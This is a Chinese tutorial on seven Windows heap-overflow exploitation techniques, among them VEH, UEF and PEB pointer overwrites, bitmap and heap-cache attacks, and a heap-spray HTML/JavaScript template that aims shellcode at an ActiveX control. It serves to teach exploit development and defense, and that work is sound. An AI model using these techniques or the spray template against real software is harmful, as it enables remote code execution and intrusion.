windows堆栈溢出利用的七种方式

文本由 www.169it.com 搜集整理

windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit不具有通用性。windows版本不同,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同语言版本的windows,其核心dll的版本都不同。用户的dll一变更,那么,我们的exploit里面的shellcode就要重新写。

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。

一、利用VEH

向量化异常处理(VEH,Vectored Exception Handling)最初是在XP中公布,它的优先级高于SEH,并且VEH是存在堆中的,它是你在代码中明确添加的,并不伴随try/catch之类的语句而产生,它也需要通过API(AddVectoredExceptionHandler)来注册回调函数,并可注册多个VEH,各个VEH结构体之间串成双向链表,因此比SEH多了一个前??指针,其它更详细的信息可参考《Windows XP中的向量化异常处理》一文:http://bbs.pediy.com/showthread.php?t=49868。每一个VEH结构均存储在堆上,其结构如下:


1

2

3

4

5

6


struct 
_VECTORED_EXCEPTION_NODE

{

    
DWORD   
m_pNextNode;        
//指向下一个_VECTORED_EXCEPION_NODE结构,因此可用伪造的指针来覆盖它

    
DWORD   
m_pPreviousNode;        
//指向上一个_VECTORED_EXCEPION_NODE结构

    
PVOID   
m_pfnVectoredHandler;    
//异常处理函数

}

负责分发_VECTORED_EXCEPION_NODE的代码如下:


1

2

3

4

5


77F7F49E   8B35 1032FC77    MOV ESI,
DWORD 
PTR DS:[77FC3210]    ;赋值后ESI指向_VECTORED_EXCEPION_NODE结构,即m_pNextNode

77F7F4A4   EB 0E            JMP 
SHORT 
ntdll.77F7F4B4

77F7F4A6   8D45 F8          LEA EAX,
DWORD 
PTR SS:[EBP-8]

77F7F4A9   50               PUSH EAX

77F7F4AA   FF56 08          CALL 
DWORD 
PTR DS:[ESI+8]        ;可用shellcode-0x8去覆盖m_pNextNode指针

接着我们在堆中确定shellcode地址,可先用垃圾字符去填充,比如‘0x41‘,然后在堆中搜索它。当发生堆溢出时,堆块的前向指针和后向指针就会被篡改,比如异常出现在:


1

2


MOV 
DWORD 
PTR DS:[ECX],EAX    ;EAX = Flink = 写入的内容

MOV 
DWORD 
PTR DS:[EAX+4],ECX    ;ECX = Blink = 写入的地址

那么我们就可以用m_pNextNode-4来覆盖ECX,然后用shellcode-8去覆盖EAX。关于m_pNextNode指针的获取,我们只需在触发异常后,按shift+F7步过异常即可找到此指针,比如以下代码:


1

2

3


77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指针

77F60C31   393D 1032FC77    CMP 
DWORD 
PTR DS:[77FC3210],EDI

77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

关于EAX和ECX的偏移地址可通过pattern_create和pattern_offset来获取。这样当触发异常时就会调用VEH,而此时下一个VEH结构即是我们特意构造的shellcode,这样我们的恶意代码就有可以被执行了。

二、利用UEF

系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令,比如以下代码:


1

2

3

4

5


77E93114   A1 B473ED77      MOV EAX,
DWORD 
PTR DS:[77ED73B4]    ;UnhandledExceptionFilter指针

77E93119   3BC6             CMP EAX,ESI

77E9311B   74 15            JE 
SHORT 
kernel32.77E93132

77E9311D   57               PUSH EDI

77E9311E   FFD0             CALL EAX

现在我们只需找到shellcode地址,或者看是否有某一寄存器reg刚好指向shellcode或其附近,然后用shellcode地址或者类似call [reg + offset]的指令地址来覆盖UnhandledExceptionFilter指针,比较常用的指令如:


1

2


call dword ptr ds:[edi+74]

call dword ptr ds:[esi+4c]

其它eax,ebx也有可能指向堆,亦可作为跳板来用。

三、利用PEB

由于当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的,如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17


0:000> dt _PEB

ntdll!_PEB

   
+0x000 InheritedAddressSpace : UChar

   
+0x001 ReadImageFileExecOptions : UChar

   
+0x002 BeingDebugged    : UChar

   
+0x003 SpareBool        : UChar

   
+0x004 Mutant           : Ptr32 Void

   
+0x008 ImageBaseAddress : Ptr32 Void

   
+0x00c Ldr              : Ptr32 _PEB_LDR_DATA

   
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

   
+0x014 SubSystemData    : Ptr32 Void

   
+0x018 ProcessHeap      : Ptr32 Void

   
+0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION    
//根据此指针来间接进入临界区

   
+0x020 FastPebLockRoutine : Ptr32 Void

   
+0x024 FastPebUnlockRoutine : Ptr32 Void

   
+0x028 EnvironmentUpdateCount : Uint4B

   
……

但在WinXP SP2之后微软就加入了PEB random保护,不再使用固定的PEB基址,而使用具有一定随机性的PEB基址,以提高利用的难度。

四、Heap Spary

Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25


<
html
>

<
body
>

<
object 
classid
=
"clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" 
id
=
"target"
></
object
>

<
script
>

Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

var nop="\u9090\u9090";

while (nop.length <= 0x100000/2)

{

    
nop+=nop;

}

nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);

var slide = new Array();

for ( var i=0; i<
200
; i++)

{

    
slide[i] = nop + shellcode;

}

var 
s

‘‘
;

while (s.length < 748)

{

    
s+="\x0c";

}

target.Overflow(s);

</script>

</
body
>

</
html
>

五、Bitmap Flipping Attack

在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],然后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap,并能够覆盖freelist[n]中的值,那么我们就可以通过它来执行任意代码。

六、Heap Cache Attack

Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗,以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引,更重要的是,Heap Manager并没有将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组,每一个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下,数组包括有896个bucket,其大小在1024和8192之间,但大小是可配置的,我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式,比如De-synchronization Attack(通过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,如果攻击者可能控制这一内存块中的内容,就有可能导致任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

七、Bitmap XOR Attack

Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap,如果系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。

时间: 2024-12-21 17:57:29

windows堆栈溢出利用的七种方式的相关文章

JavaScript 创建对象的七种方式

转自:xxxgitone.github.io/2017/06/10/JavaScript创建对象的七种方式/ JavaScript创建对象的方式有很多,通过Object构造函数或对象字面量的方式也可以创建单个对象,显然这两种方式会产生大量的重复代码,并不适合量产.接下来介绍七种非常经典的创建对象的方式,他们也各有优缺点. 工厂模式 1 function createPerson(name, job) { 2 var o = new Object() 3 o.name = name 4 o.job

详解Python拼接字符串的七种方式

忘了在哪看到一位编程大牛调侃,他说程序员每天就做两件事,其中之一就是处理字符串.相信不少同学会有同感. 几乎任何一种编程语言,都把字符串列为最基础和不可或缺的数据类型.而拼接字符串是必备的一种技能.今天,我跟大家一起来学习Python拼接字符串的七种方式. 1.来自C语言的%方式 print('%s %s' % ('Hello', 'world')) >>> Hello world %号格式化字符串的方式继承自古老的C语言,这在很多编程语言都有类似的实现.上例的%s是一个占位符,它仅代表

python中字符串链接的七种方式

一. str1+str2 string类型 '+'号连接 >>> str1="one" >>> str2="two" >>> str1+str2 'onetwo' >>>注意:该方式性能较差,因为python中字符串是不可变的类型,使用 + 连接两个字符串时会生成一个新的字符串,生成新的字符串就需要重新申请内存,当连续相加的字符串很多时(a+b+c+d+e+f+...) ,效率低下就是必然的了例

Vue 定义组件模板的七种方式(一般用单文件组件更好)

在 Vue 中定义一个组件模板,至少有七种不同的方式(或许还有其它我不知道的方式): 字符串 模板字面量 x-template 内联模板 render 函数 JSF 单文件组件 在这篇文章中,我将通过示例介绍每个选项,并探讨利弊.以便你知道在任何特定情况下最适合的是哪一种. 1. 字符串 默认情况下,模板会被定义为一个字符串.我想我们的观点会达成一致:字符串中的模板是非常难以理解的.除了广泛的浏览器支持之外,这种方法没有太多用处. Vue.component('my-checkbox', { t

补充:JavaScript 创建对象的七种方式

JavaScript创建对象的方式有很多,通过Object构造函数或对象字面量的方式也可以创建单个对象,显然这两种方式会产生大量的重复代码,并不适合量产.接下来介绍七种非常经典的创建对象的方式,他们也各有优缺点. 工厂模式 1 function createPerson(name, job) { 2 var o = new Object() 3 o.name = name 4 o.job = job 5 o.sayName = function() { 6 console.log(this.na

C#利用WebClient 两种方式下载文件

WebClient client = new WebClient(); 第一种 string URLAddress = @"http://files.cnblogs.com/x4646/tree.zip"; string [email protected]"C:\"; client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName(URLAddress)); 就OK了. 第二种 Str

字符串逆转的七种方式

1.列表的方式 def func_01(s): a = list(s) a.reverse() a = "".join(a) return a b = func_01("hello") print(b) 2.切片的方式 def func_02(s): s = s[::-1] return s c = func_02("world") print(c) 3.reduce from functools import reduce def func_0

(转)创建Windows服务(Windows Services)N种方式总结

转自:http://www.cnblogs.com/aierong/archive/2012/05/28/2521409.html 最近由于工作需要,写了一些windows服务程序,有一些经验,我现在总结写出来.目前我知道的创建创建Windows服务有3种方式:a.利用.net框架类ServiceBaseb.利用组件Topshelfc.利用小工具instsrv和srvany 下面我利用这3种方式,分别做一个windows服务程序,程序功能就是每隔5秒往程序目录下记录日志: a.利用.net框架类

创建Windows服务(Windows Services)N种方式总结

最近由于工作需要,写了一些windows服务程序,有一些经验,我现在总结写出来.目前我知道的创建创建Windows服务有3种方式:a.利用.net框架类ServiceBaseb.利用组件Topshelfc.利用小工具instsrv和srvany 下面我利用这3种方式,分别做一个windows服务程序,程序功能就是每隔5秒往程序目录下记录日志: a.利用.net框架类ServiceBase 本方式特点:简单,兼容性好 通过继承.net框架类ServiceBase实现 第1步: 新建一个Window